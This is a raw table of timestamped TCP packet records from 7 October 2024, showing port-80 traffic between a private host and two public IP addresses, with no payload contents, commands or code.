Oct 7, 2024 18:43:39.396816015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396826029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396836042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396847010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396857023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.396861076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396861076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396861076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.396879911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397310019 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397492886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397505045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397515059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397524118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397533894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397543907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397559881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397567987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397578001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397587061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397597075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397597075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397597075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397597075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397597075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397607088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397615910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397624969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397635937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397645950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397660971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397671938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397680998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397685051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397685051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397685051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397685051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397691011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397701025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397711039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397720098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397730112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397738934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397748947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397758961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397763968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397763968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397763968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397763968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397768974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397778988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397789001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397799015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397809029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.397845030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397845030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397845030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.397845030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.816371918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.816416025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.822871923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.823143005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:40.629189968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:40.629430056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:40.872800112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:40.877757072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:41.635759115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:41.636396885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:41.637022972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:41.638405085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:41.647492886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:41.652343035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.277045012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.277070999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.277321100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.277321100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.302542925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.308696985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.923398972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.923506975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.971458912 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.971518040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.976362944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.976491928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.976500988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.976557970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.976577044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.977351904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.981491089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.981579065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.981586933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.981635094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.982263088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.982326031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.982333899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.982369900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.982440948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.985375881 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.986536026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.986582994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.986979961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.987025023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.987068892 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.987318993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.987400055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.987437010 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.990259886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.991345882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.991832018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.991882086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.992381096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.993246078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.996303082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.996660948 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:42.996690989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.998486996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:42.998543978 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.001763105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.003540039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.003599882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.003762960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.004415989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.008596897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.008654118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.008711100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.009267092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.009342909 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.013672113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.013938904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.013993025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.014082909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.015938044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.018976927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.019100904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.019109964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.019185066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.021064043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.021166086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.021217108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.024079084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024126053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024135113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024158955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.024169922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024175882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.024208069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.024444103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024905920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.024947882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.026150942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.026202917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.026330948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.026413918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.029289007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.029299021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.029306889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.029347897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.029370070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.029716015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.029725075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.029768944 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.030297995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.030308962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.030347109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.031111002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.031254053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.031291962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.034255981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.034265041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.034274101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.034298897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.034320116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.034753084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.034763098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.034801006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.034811974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.035073996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.035115957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.035399914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.036050081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.036088943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.036137104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.037353992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.039254904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039302111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.039329052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039336920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039385080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.039427042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039556026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039602041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.039689064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039922953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.039968014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.040035009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.040364981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.040838957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.040882111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.040986061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.042228937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.042282104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.044133902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044183969 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.044246912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044332981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044373989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.044428110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044497013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044533968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:43.044775963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.044785976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.045147896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.045680046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.045775890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.047605991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.047766924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.049050093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.049134970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.049216986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:43.049326897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:44.504848003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:44.505007029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:44.509208918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:44.514172077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:45.163294077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:45.163360119 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:45.226397991 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.231513977 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.231616974 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.231688023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.236618996 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876100063 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876406908 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876419067 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876477003 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876491070 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876497030 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876502037 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876507998 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876512051 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876509905 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.876523972 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.876600027 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.876641989 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:45.881483078 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.881555080 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:45.881608009 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.006732941 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.006757975 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.006767988 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.006829977 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.006840944 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.006840944 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.006889105 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.007219076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007246971 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007275105 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007285118 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007292032 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.007296085 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007308006 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.007316113 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.007347107 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.008116007 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008235931 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008244991 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008272886 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.008290052 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.008646965 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008692026 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008702040 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008729935 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.008760929 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.008822918 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008831978 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.008871078 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.009337902 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.009355068 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.009362936 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.009397984 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.009413958 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.133975029 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.133992910 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134002924 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134073973 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134083033 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134090900 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134107113 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134156942 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134156942 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134156942 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134443045 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134471893 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134473085 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134489059 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134490967 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134506941 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134516001 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134533882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134537935 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134558916 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134579897 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.134936094 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134975910 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134984970 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.134993076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135015011 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135045052 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135334015 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135344028 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135353088 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135382891 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135406017 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135417938 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135426998 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135436058 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135446072 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135468006 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135472059 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.135492086 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.135507107 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.136296988 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136315107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136324883 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136358023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.136384964 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.136451006 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136461973 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136471987 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136483908 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.136532068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.136532068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.137131929 CEST	80	51636	147.45.44.104	192.168.2.4
